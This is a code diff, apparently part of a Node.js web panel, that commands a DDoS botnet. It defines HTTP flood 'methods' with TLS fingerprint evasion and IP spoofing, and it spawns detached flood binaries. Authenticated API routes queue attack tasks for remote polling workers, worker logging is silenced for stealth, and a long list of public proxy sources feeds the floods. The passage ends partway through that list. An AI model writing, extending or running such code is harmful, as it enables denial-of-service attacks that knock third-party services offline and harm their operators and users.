+        const LIB_DIR = path.join(__dirname, "lib/cache");
+        const PROXY_FILE = path.join(__dirname, "proxy.txt");
+        const HISTORY_FILE = path.join(__dirname, "history.json");
+        const WORKER_SECRET = CONFIG.workerSecret;
+
+        // ─── Helpers ──────────────────────────────────────────────
+        // Real-time CPU delta sampler
+        let _lastCpu = null, _cpuPercent = '0.0';
+        function _sampleCpu() {
+            const cpus = os.cpus();
+            const now = cpus.map(c => ({ ...c.times }));
+            if (_lastCpu) {
+                const deltas = now.map((curr, i) => {
+                    const prev = _lastCpu[i];
+                    const idle = curr.idle - prev.idle;
+                    const total = Object.keys(curr).reduce((s, k) => s + curr[k] - (prev[k] || 0), 0);
+                    return total === 0 ? 0 : (1 - idle / total) * 100;
+                });
+                _cpuPercent = (deltas.reduce((a, b) => a + b, 0) / deltas.length).toFixed(1);
+            }
+            _lastCpu = now;
+        }
+        setInterval(_sampleCpu, 1000).unref();
+        _sampleCpu();
+
+        function getPublicIP() {
+            return new Promise((resolve) => {
+                const req = https.get("https://api.ipify.org?format=json", { timeout: 5000 }, (res) => {
+                    let body = "";
+                    res.on("data", c => { body += c; });
+                    res.on("end", () => { try { resolve(JSON.parse(body).ip); } catch (_) { resolve(null); } });
+                });
+                req.on("error", () => resolve(null));
+                req.on("timeout", () => { req.destroy(); resolve(null); });
+            });
+        }
+
+        // ─── Session Auth ────────────────────────────────────────
+        const sessions = new Map();
+        const SESSION_TTL = 24 * 60 * 60 * 1000;
+        function createSession(username) { const token = crypto.randomBytes(32).toString("hex"); sessions.set(token, { username, createdAt: Date.now() }); return token; }
+        function validateSession(token) { if (!token) return null; const session = sessions.get(token); if (!session) return null; if (Date.now() - session.createdAt > SESSION_TTL) { sessions.delete(token); return null; } return session; }
+        function deleteSession(token) { sessions.delete(token); }
+        setInterval(() => { const now = Date.now(); for (const [token, session] of sessions.entries()) { if (now - session.createdAt > SESSION_TTL) sessions.delete(token); } }, 60 * 60 * 1000);
+
+        // ─── Thread Pool ──────────────────────────────────────────
+        const threadPool = { activeThreads: 0, poolLimit: CONFIG.maxThreadPool, children: [],
+            spawn(scriptPath, args = []) {
+                return new Promise((resolve) => {
+                    if (this.activeThreads >= this.poolLimit) return resolve({ success: false, error: "Thread pool full" });
+                    this.activeThreads++;
+                    let child;
+                    try { child = spawn("node", [scriptPath, ...args], { detached: false, stdio: ["ignore", "pipe", "pipe"], env: { ...process.env } }); } catch (e) { this.activeThreads--; return resolve({ success: false, error: e.message }); }
+                    this.children.push(child);
+                    child.on("error", () => { this.activeThreads--; this.children = this.children.filter(c => c !== child); resolve({ success: false, error: "Spawn error" }); });
+                    child.on("close", (code) => { this.activeThreads--; this.children = this.children.filter(c => c !== child); resolve({ success: code === 0, code }); });
+                    child.unref();
+                });
+            },
+            spawnDetached(executor, args = []) {
+                return new Promise((resolve) => {
+                    const child = spawn(executor, args, { detached: true, stdio: "ignore" });
+                    child.unref(); this.children.push(child);
+                    this.activeThreads++;
+                    child.on("exit", () => { this.activeThreads = Math.max(0, this.activeThreads - 1); this.children = this.children.filter(c => c !== child); });
+                    resolve({ pid: child.pid });
+                });
+            },
+            setMaxThreads(max) { this.poolLimit = Math.max(parseInt(max) || 4, 4); },
+            stopAll() { this.children.forEach(c => { try { if (!c.killed) c.kill("SIGTERM"); } catch {} }); this.children = []; this.activeThreads = 0; }
+        };
+
+        const activeAttacks = new Map();
+
+        function parseDuration(duration) {
+            if (!duration) return 60;
+            const lower = String(duration).toLowerCase();
+            if (["max", "unlimited", "inf"].includes(lower)) return 999999;
+            const match = lower.match(/^(\d+)(s|m|h|d)?$/);
+            if (!match) return parseInt(duration) || 60;
+            const v = parseInt(match[1]);
+            if (!match[2]) return v;
+            switch (match[2]) { case "m": return v * 60; case "h": return v * 3600; case "d": return v * 86400; default: return v; }
+        }
+
+        function getSystemInfo() {
+            const cpus = os.cpus();
+            const totalMem = os.totalmem(), freeMem = os.freemem(), usedMem = totalMem - freeMem;
+            return { hostname: os.hostname(), platform: os.platform(), arch: os.arch(), uptime: Math.floor(os.uptime()), cpus: cpus.length, cpuAvg: _cpuPercent, totalMem, usedMem, freeMem, memPercent: ((usedMem / totalMem) * 100).toFixed(1), loadAvg1: os.loadavg()[0].toFixed(2), loadAvg5: os.loadavg()[1].toFixed(2), loadAvg15: os.loadavg()[2].toFixed(2), nodeVersion: process.version };
+        }
+
+        function loadJSON(file, fallback) { try { return JSON.parse(fs.readFileSync(file, "utf8")); } catch { return fallback; } }
+        function saveJSON(file, data) { fs.writeFileSync(file, JSON.stringify(data, null, 2)); }
+        function getHistory() { return loadJSON(HISTORY_FILE, { entries: [] }).entries; }
+        function saveHistory(entries) { saveJSON(HISTORY_FILE, { entries }); }
+        function addHistoryEntry(entry) { const history = getHistory(); history.unshift({ id: Date.now(), ...entry, time: new Date().toISOString() }); if (history.length > 200) history.length = 200; saveHistory(history); }
+
+        // ─── Attack Launchers ─────────────────────────────────────
+        async function launchH2Go(target, port, durationSec, threads, goroutines) {
+            const cpuCores = os.cpus().length;
+            const threadCount = Math.min(parseInt(threads) || cpuCores, CONFIG.maxThreadPool);
+            const goroutinesNum = parseInt(goroutines) || cpuCores * 1000;
+            const dorBinary = path.join(LIB_DIR, "dor");
+            const dorGo = path.join(LIB_DIR, "dor.go");
+            const spawnPromises = [];
+            if (fs.existsSync(dorBinary)) { fs.chmodSync(dorBinary, 0o755); for (let i = 0; i < threadCount; i++) { const args = [String(target), String(port), String(durationSec), String(goroutinesNum)]; if (fs.existsSync(PROXY_FILE)) args.push(PROXY_FILE); spawnPromises.push(threadPool.spawnDetached(dorBinary, args)); } }
+            else if (fs.existsSync(dorGo)) { for (let i = 0; i < threadCount; i++) { const args = ["run", dorGo, String(target), String(port), String(durationSec), String(goroutinesNum)]; if (fs.existsSync(PROXY_FILE)) args.push(PROXY_FILE); spawnPromises.push(threadPool.spawnDetached("go", args)); } }
+            else return [{ script: "h2-go", success: false, error: "H2-GO engine not found" }];
+            if (spawnPromises.length > 0) await Promise.all(spawnPromises);
+            return [{ script: "h2-go", instances: threadCount, goroutines: goroutinesNum }];
+        }
+
+        async function launchH1Go(target, port, durationSec, goroutinesNum, execKey) {
+            const h1Bin = path.join(LIB_DIR, "h1-go");
+            const h1Go = path.join(LIB_DIR, "h1-go.go");
+            const spawnPromises = [];
+            // FIXED: Spawn fewer processes with more goroutines each
+            const cpuCores = os.cpus().length;
+            const processCount = Math.min(cpuCores * 2, 64); // Max 64 processes
+            const goroutinesPerProcess = Math.max(1, Math.ceil(goroutinesNum / processCount));
+            
+            if (fs.existsSync(h1Bin)) {
+                fs.chmodSync(h1Bin, 0o755);
+                for (let i = 0; i < processCount; i++) {
+                    const args = [String(target), String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
+                    spawnPromises.push(spawnDetachedBinary(h1Bin, args, execKey));
+                }
+            } else if (fs.existsSync(h1Go)) {
+                for (let i = 0; i < processCount; i++) {
+                    const args = ["run", h1Go, String(target), String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
+                    spawnPromises.push(spawnDetachedBinary("go", args, execKey));
+                }
+            } else return [{ script: "h1-go", success: false, error: "H1-GO engine not found" }];
+            if (spawnPromises.length > 0) await Promise.all(spawnPromises);
+            return [{ script: "h1-go", instances: processCount, goroutinesPerProcess, totalGoroutines: processCount * goroutinesPerProcess }];
+        }
+
+        const methods = {
+            "h2-go": { label: "H2-GO", category: "Layer 7", description: "DOR — Premium HTTP flood with uTLS, JA3 matching, SO_REUSEPORT, adaptive RPS", params: ["target (host)", "port", "duration (seconds/max)", "threads", "goroutines"], defaultThreads: null, defaultGoroutines: null, launch: launchH2Go },
+            "h1-go": { label: "H1-GO", category: "Layer 7", description: "HTTP/1.1 high-volume flood with keep-alive, UA rotation, IP spoofing", params: ["target (url)", "duration (seconds/max)", "goroutines"], defaultThreads: null, defaultGoroutines: 5000, launch: launchH1Go }
+        };
+
+        // ─── Express App ──────────────────────────────────────────
+        const app = express();
+        app.use(express.json({ limit: "10mb" }));
+        app.use(express.urlencoded({ extended: true }));
+        app.use(express.static(path.join(__dirname, "public")));
+
+        function requireAuth(req, res, next) {
+            const token = req.headers["x-auth-token"] || req.query.token;
+            const session = validateSession(token);
+            if (!session) return res.status(401).json({ error: "Unauthorized", redirect: "/login" });
+            req.session = session;
+            next();
+        }
+
+        // ─── Auth Routes ──────────────────────────────────────────
+        app.post("/api/login", (req, res) => {
+            const { username, password } = req.body;
+            const ip = req.ip; const now = Date.now();
+            if (!app.loginAttempts) app.loginAttempts = new Map();
+            const attempts = app.loginAttempts.get(ip) || [];
+            const recentAttempts = attempts.filter(t => now - t < 60000);
+            if (recentAttempts.length >= 5) return res.status(429).json({ error: "Too many login attempts. Try again later." });
+            if (username === WEB_USER && password === WEB_PASS) { const token = createSession(username); app.loginAttempts.delete(ip); res.json({ status: "ok", token, username, message: "Login successful" }); }
+            else { recentAttempts.push(now); app.loginAttempts.set(ip, recentAttempts); res.status(401).json({ error: "Invalid username or password", remainingAttempts: Math.max(0, 5 - recentAttempts.length) }); }
+        });
+        app.post("/api/logout", (req, res) => { const token = req.headers["x-auth-token"]; if (token) deleteSession(token); res.json({ status: "ok", message: "Logged out successfully" }); });
+        app.get("/api/auth/me", (req, res) => { const token = req.headers["x-auth-token"] || req.query.token; const session = validateSession(token); if (!session) return res.status(401).json({ authenticated: false }); res.json({ authenticated: true, username: session.username }); });
+
+        // ─── API Routes ───────────────────────────────────────────
+        app.get("/api/dashboard", requireAuth, (req, res) => { const sys = getSystemInfo(); const panels = loadPanels(); const history = getHistory(); res.json({ system: sys, stats: { activeAttacks: activeAttacks.size, activeThreads: threadPool.activeThreads, workerPanels: panels.length, totalAttacks: history.length }, methods: Object.keys(methods) }); });
+        app.get("/api/system", requireAuth, (req, res) => res.json(getSystemInfo()));
+        app.get("/api/methods", requireAuth, (req, res) => { res.json({ methods: Object.entries(methods).map(([key, m]) => ({ id: key, ...m })) }); });
+
+        app.post("/api/attack", requireAuth, async (req, res) => {
+            const { method, target, port, duration, threads, goroutines } = req.body;
+            if (!method || !target || !port || !duration) return res.status(400).json({ error: "method, target, port, and duration are required" });
+            const m = methods[method];
+            if (!m) return res.status(400).json({ error: `Unknown method: ${method}` });
+            const dur = parseDuration(duration);
+            const portNum = parseInt(port);
+            if (portNum < 1 || portNum > 65535) return res.status(400).json({ error: "Invalid port (1-65535)" });
+            if (dur < 1 || dur > 999999) return res.status(400).json({ error: "Invalid duration" });
+
+            // ═══════════════════════════════════════════════════════
+            //  WEB MODE: ONLY BROADCAST TO POLLING WORKERS
+            // ═══════════════════════════════════════════════════════
+            const localResult = { disabled: true, message: "Web panel cannot attack locally, only broadcast to workers" };
+            const attackId = Date.now().toString();
+            activeAttacks.set(attackId, { method, target, port: portNum, duration: dur, threads, startTime: Date.now(), localResult });
+            setTimeout(() => { activeAttacks.delete(attackId); }, (dur + 30) * 1000);
+
+            const panels = loadPanels();
+            const workers = global.activeWorkers || {};
+            const workerCount = Object.keys(workers).length;
+
+            if (workerCount > 0) {
+                // Send to all polling workers via pendingCommands
+                const cpuCores = os.cpus().length;
+                const finalGoroutines = goroutines ? parseInt(goroutines) : cpuCores * 3000;
+                const finalThreads = threads ? Math.min(parseInt(threads), 256) : Math.min(cpuCores * 2, 256);
+                const execKey = process.env.EXEC_KEY || "夜影风暴";
+
+                let idx = 0;
+                for (const wid of Object.keys(workers)) {
+                    pendingCommands.set(wid, {
+                        action: "attack",
+                        task: {
+                            id: attackId + "-" + wid,
+                            target: `${target}:${portNum}`,
+                            duration: String(dur),
+                            threads: String(finalThreads),
+                            method: method || "h2-go",
+                            goroutines: String(finalGoroutines),
+                            execKey
+                        }
+                    });
+                    idx++;
+                }
+
+                stealthLog(`📡 Broadcasting attack to ${workerCount} polling worker(s)...`);
+                addHistoryEntry({ command: method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, localResults: 0, workerResults: workerCount });
+                res.json({ status: "ok", attackId, method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, local: localResult, workers: `broadcasted to ${workerCount} polling worker(s)` });
+            } else if (panels.length > 0) {
+                stealthLog(`📡 Broadcasting attack to ${panels.length} HTTP panel worker(s)...`);
+                addHistoryEntry({ command: method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, localResults: 0, workerResults: panels.length });
+                res.json({ status: "ok", attackId, method, target: `${target}:${portNum}`, duration: dur === 999999 ? "max" : dur + "s", threads, local: localResult, workers: `broadcasted to ${panels.length} HTTP panel worker(s)` });
+            } else {
+                stealthLog(`⚠️ Attack rejected — no workers available (web panel cannot attack locally)`);
+                activeAttacks.delete(attackId);
+                res.status(400).json({ error: "No workers available. Web panel can only broadcast attacks to workers, not execute locally." });
+            }
+        });
+
+        app.post("/api/stopall", requireAuth, async (req, res) => {
+            threadPool.stopAll();
+            activeAttacks.clear();
+            // Stop all polling workers
+            for (const wid of Object.keys(global.activeWorkers || {})) {
+                pendingCommands.set(wid, { action: "stop" });
+            }
+            res.json({ status: "ok", message: "All attacks stopped, stop sent to polling workers" });
+        });
+        app.get("/api/attacks", requireAuth, (req, res) => { const attacks = []; for (const [id, a] of activeAttacks.entries()) { const elapsed = Math.floor((Date.now() - a.startTime) / 1000); attacks.push({ id, ...a, elapsed }); } res.json({ count: attacks.length, attacks }); });
+
+        // ─── Polling Worker API ─────────────────────────────────────
+        // Workers poll this endpoint for commands (no auth needed, uses Bearer token)
+        const pendingCommands = new Map(); // workerId → {action, task}
+        const pollDebugLog = []; // Store last 200 poll events for debugging
+        const MAX_POLL_LOG = 200;
+
+        // Periodic disconnect checker — only logs when worker goes offline
+        const _workerOfflineNotified = new Set();
+        setInterval(() => {
+            if (!global.activeWorkers) return;
+            const now = Date.now();
+            for (const [wid, info] of Object.entries(global.activeWorkers)) {
+                const offline = (now - info.lastSeen) > 15000;
+                if (offline && !_workerOfflineNotified.has(wid)) {
+                    stealthLog(`  ❌ Worker disconnected: ${wid}`);
+                    _workerOfflineNotified.add(wid);
+                } else if (!offline && _workerOfflineNotified.has(wid)) {
+                    _workerOfflineNotified.delete(wid);
+                }
+            }
+        }, 10000).unref();
+
+        app.post("/api/worker/poll", async (req, res) => {
+            const pollTime = new Date().toISOString();
+            const auth = (req.headers["authorization"] || "");
+            const token = auth.startsWith("Bearer ") ? auth.slice(7) : "";
+            if (token !== WORKER_SECRET) {
+                const debugEntry = { time: pollTime, workerId: req.headers["x-worker-id"] || "unknown", action: "unauthorized", ip: req.ip || req.connection.remoteAddress };
+                pollDebugLog.unshift(debugEntry);
+                if (pollDebugLog.length > MAX_POLL_LOG) pollDebugLog.pop();
+                stealthLog(`  🔍 POLL DEBUG | ${pollTime} | Worker: unknown | IP: ${req.ip || req.connection.remoteAddress} | Action: UNAUTHORIZED`);
+                return res.status(401).json({ error: "Unauthorized" });
+            }
+
+            const workerId = req.headers["x-worker-id"] || "unknown";
+            const workerStatus = req.body.status || {};
+            const workerTaskId = req.body.taskId || null;
+
+            // Register/update worker
+            if (!global.activeWorkers) global.activeWorkers = {};
+            const isNew = !global.activeWorkers[workerId];
+            const wasOnline = isNew ? false : (Date.now() - (global.activeWorkers[workerId].lastSeen || 0)) > 15000;
+
+            global.activeWorkers[workerId] = {
+                ...workerStatus,
+                lastSeen: Date.now(),
+                ip: req.ip || req.connection.remoteAddress
+            };
+
+            // Log worker connect events (not spammy — only on status change)
+            if (isNew) {
+                stealthLog(`  ✅ Worker connected: ${workerId} from ${req.ip || req.connection.remoteAddress}`);
+            } else if (wasOnline) {
+                stealthLog(`  🔄 Worker reconnected: ${workerId}`);
+            }
+
+            // Check if worker already has a pending command
+            const cmd = pendingCommands.get(workerId);
+            let action = "none";
+            let task = null;
+            if (cmd) {
+                pendingCommands.delete(workerId);
+                action = cmd.action;
+                task = cmd.task || null;
+            }
+
+            // Debug log every poll
+            const debugEntry = {
+                time: pollTime,
+                workerId,
+                action,
+                ip: req.ip || req.connection.remoteAddress,
+                cpu: workerStatus.cpu,
+                cpuCores: workerStatus.cpuCores,
+                mem: workerStatus.mem,
+                memTotal: workerStatus.memTotal,
+                activeProcesses: workerStatus.activeProcesses,
+                uptime: workerStatus.uptime,
+                hasTaskId: !!workerTaskId
+            };
+            pollDebugLog.unshift(debugEntry);
+            if (pollDebugLog.length > MAX_POLL_LOG) pollDebugLog.pop();
+
+            // Only log to panel console when action happens (not every poll)
+            // SILENCED - no logging in worker mode
+            if (action !== "none") {
+                // stealthLog disabled - completely silent
+            }
+
+            // Process worker-sent logs (if any) — COMPLETELY SILENT
+            if (workerStatus.logs && Array.isArray(workerStatus.logs)) {
+                // All worker logs silenced - no output
+            }
+
+            res.json({ ok: true, action, task });
+        });
+
+        // Debug endpoint to view poll history
+        app.get("/api/workers/poll-debug", requireAuth, async (req, res) => {
+            const workers = global.activeWorkers || {};
+            const activeWorkers = {};
+            const now = Date.now();
+            for (const [wid, info] of Object.entries(workers)) {
+                activeWorkers[wid] = { ...info, online: (now - info.lastSeen) < 15000 };
+            }
+            res.json({
+                pollLog: pollDebugLog,
+                activeWorkers,
+                totalPolls: pollDebugLog.length
+            });
+        });
+
+        // API for panel to send commands to polling workers
+        app.post("/api/workers/attack", requireAuth, async (req, res) => {
+            const { target, duration, threads, method, goroutines, workerIds } = req.body;
+            if (!target || !duration) return res.status(400).json({ error: "target and duration required" });
+
+            const cpuCores = os.cpus().length;
+
+            // Auto values if user didn't specify
+            let finalGoroutines, finalThreads;
+
+            if (goroutines) {
+                // User specified — use it
+                finalGoroutines = parseInt(goroutines);
+            } else {
+                // Auto — full power
+                finalGoroutines = cpuCores * 3000;
+            }
+
+            if (threads) {
+                // User specified — use it
+                finalThreads = Math.min(parseInt(threads), 256);
+            } else {
+                // Auto — cores × 2, max 256
+                finalThreads = Math.min(cpuCores * 2, 256);
+            }
+
+            // Pass EXEC_KEY to workers so binary can spawn
+            const execKey = process.env.EXEC_KEY || "夜影风暴";
+
+            // Auto-max all workers to full performance
+            const targets = workerIds || Object.keys(global.activeWorkers || {});
+            let sent = 0;
+            const workerDetails = [];
+
+            for (const wid of targets) {
+                if (global.activeWorkers && global.activeWorkers[wid]) {
+                    const worker = global.activeWorkers[wid];
+                    const workerCores = worker.cpuCores || cpuCores;
+
+                    const task = {
+                        id: Date.now() + "-" + wid,
+                        target,
+                        duration: String(duration),
+                        threads: String(finalThreads),
+                        method: method || "h2-go",
+                        goroutines: String(finalGoroutines),
+                        execKey: execKey
+                    };
+
+                    pendingCommands.set(wid, { action: "attack", task });
+                    workerDetails.push({ workerId: wid, cores: workerCores, goroutines: finalGoroutines, threads: finalThreads });
+                    sent++;
+                }
+            }
+
+            // Save to history
+            addHistoryEntry({ method: method || "h2-go", target, duration: String(duration), threads: threads ? String(threads) : "auto", goroutines: goroutines ? String(goroutines) : "auto" });
+
+            res.json({
+                status: "ok",
+                message: `Smart-scaled command queued for ${sent} polling workers + broadcast to HTTP workers`,
+                workerDetails,
+                taskId: Date.now()
+            });
+        });
+
+        app.post("/api/workers/stop", requireAuth, async (req, res) => {
+            const { workerIds } = req.body;
+            const targets = workerIds || Object.keys(global.activeWorkers || {});
+            let sent = 0;
+            for (const wid of targets) {
+                if (global.activeWorkers && global.activeWorkers[wid]) {
+                    pendingCommands.set(wid, { action: "stop" });
+                    sent++;
+                }
+            }
+            res.json({ status: "ok", message: `Stop queued for ${sent} polling workers` });
+        });
+
+        app.post("/api/workers/restart", requireAuth, async (req, res) => {
+            const { workerIds } = req.body;
+            const allWorkers = Object.keys(global.activeWorkers || {});
+            const targets = (workerIds && workerIds.length > 0) ? workerIds : allWorkers;
+            let sent = 0;
+            for (const wid of targets) {
+                if (global.activeWorkers && global.activeWorkers[wid]) {
+                    pendingCommands.set(wid, { action: "restart" });
+                    sent++;
+                }
+            }
+            res.json({ status: "ok", message: `Restart queued for ${sent} polling workers` });
+        });
+
+        app.get("/api/workers/polling", requireAuth, async (req, res) => {
+            const now = Date.now();
+            const workers = {};
+            for (const [wid, info] of Object.entries(global.activeWorkers || {})) {
+                workers[wid] = { ...info, online: (now - info.lastSeen) < 15000 };
+            }
+            res.json({ count: Object.keys(workers).length, workers });
+        });
+
+        // ─── Proxy Management ─────────────────────────────────────
+        const net = require("net");
+        const PROXY_REGEX_P = /\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5})\b/g;
+        const PROXY_FETCH_TIMEOUT = 6000;
+        const PROXY_VALIDATE_TIMEOUT = 400;
+        const PROXY_MAX_CONCURRENT = 2000;
+
+        const PLAIN_SOURCES = [
+            'https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all',
+            'https://api.proxyscrape.com/v2/?request=getproxies&protocol=https&timeout=10000&country=all&ssl=all&anonymity=all',
+            'https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all',
+            'https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&ssl=all&anonymity=all',
+            'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=http&country=all&limit=10000',
+            'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=https&country=all&limit=10000',
+            'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=socks4&country=all&limit=10000',
+            'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=socks5&country=all&limit=10000',
+            'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt',
+            'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/https.txt',
+            'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt',
+            'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt',
+            'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt',
+            'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt',
+            'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt',
+            'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt',
+            'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt',
+            'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt',
+            'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt',
+            'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/proxy.txt',
+            'https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt',
+            'https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt',
+            'https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt',
+            'https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks4.txt',
+            'https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt',
+            'https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt',
+            'https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTP_RAW.txt',
+            'https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt',
+            'https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt',
+            'https://raw.githubusercontent.com/zloi-user/hideip.me/main/http.txt',
+            'https://raw.githubusercontent.com/zloi-user/hideip.me/main/https.txt',
+            'https://raw.githubusercontent.com/zloi-user/hideip.me/main/socks4.txt',
+            'https://raw.githubusercontent.com/zloi-user/hideip.me/main/socks5.txt',
+            'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt',
+            'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/https.txt',
+            'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks4.txt',
+            'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks5.txt',
+            'https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/prxchk/proxy-list/main/https.txt',
+            'https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/http.txt',
+            'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/https.txt',
+            'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/socks4.txt',
+            'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/socks5.txt',
+            'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt',
+            'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/https_proxies.txt',
+            'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks4_proxies.txt',
+            'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks5_proxies.txt',
+            'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt',
+            'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/http.txt',
+            'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/https.txt',
+            'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/socks4.txt',
+            'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/socks5.txt',
+            'https://openproxylist.xyz/http.txt',
+            'https://openproxylist.xyz/https.txt',
+            'https://openproxylist.xyz/socks4.txt',
+            'https://openproxylist.xyz/socks5.txt',
+            'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/all/data.txt',
+            'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/http/data.txt',
+            'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/https/data.txt',
+            'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/socks4/data.txt',
+            'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/socks5/data.txt',
+            'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/http.txt',
+            'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/https.txt',
+            'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/socks4.txt',
+            'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/socks5.txt',
+            'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/http.txt',
+            'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/https.txt',
+            'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/socks4.txt',
+            'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/socks5.txt',
+            'https://raw.githubusercontent.com/Volodichev/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/Volodichev/proxy-list/main/https.txt',
+            'https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/https.txt',
+            'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/https.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks4.txt',
+            'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt',
+            'https://www.proxy-list.download/api/v1/get?type=http',
+            'https://www.proxy-list.download/api/v1/get?type=https',
+            'https://www.proxy-list.download/api/v1/get?type=socks4',
+            'https://www.proxy-list.download/api/v1/get?type=socks5',
+            'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/https.txt',
+            'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt',
+            'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/http.txt',
+            'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/https.txt',
+            'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/socks4.txt',
+            'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/socks5.txt',
+            'https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list',
+            'https://spys.me/proxy.txt',
+            'https://spys.me/socks.txt',
+            'https://raw.githubusercontent.com/rx443/proxy-list/online/http.txt',
+            'https://raw.githubusercontent.com/rx443/proxy-list/online/https.txt',
+            'https://raw.githubusercontent.com/rx443/proxy-list/online/socks4.txt',
+            'https://raw.githubusercontent.com/rx443/proxy-list/online/socks5.txt',
+            'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/http.txt',
+            'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/https.txt',
+            'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/socks4.txt',
+            'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/socks5.txt',
+            'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt',
+            'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/https.txt',
+            'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks4.txt',
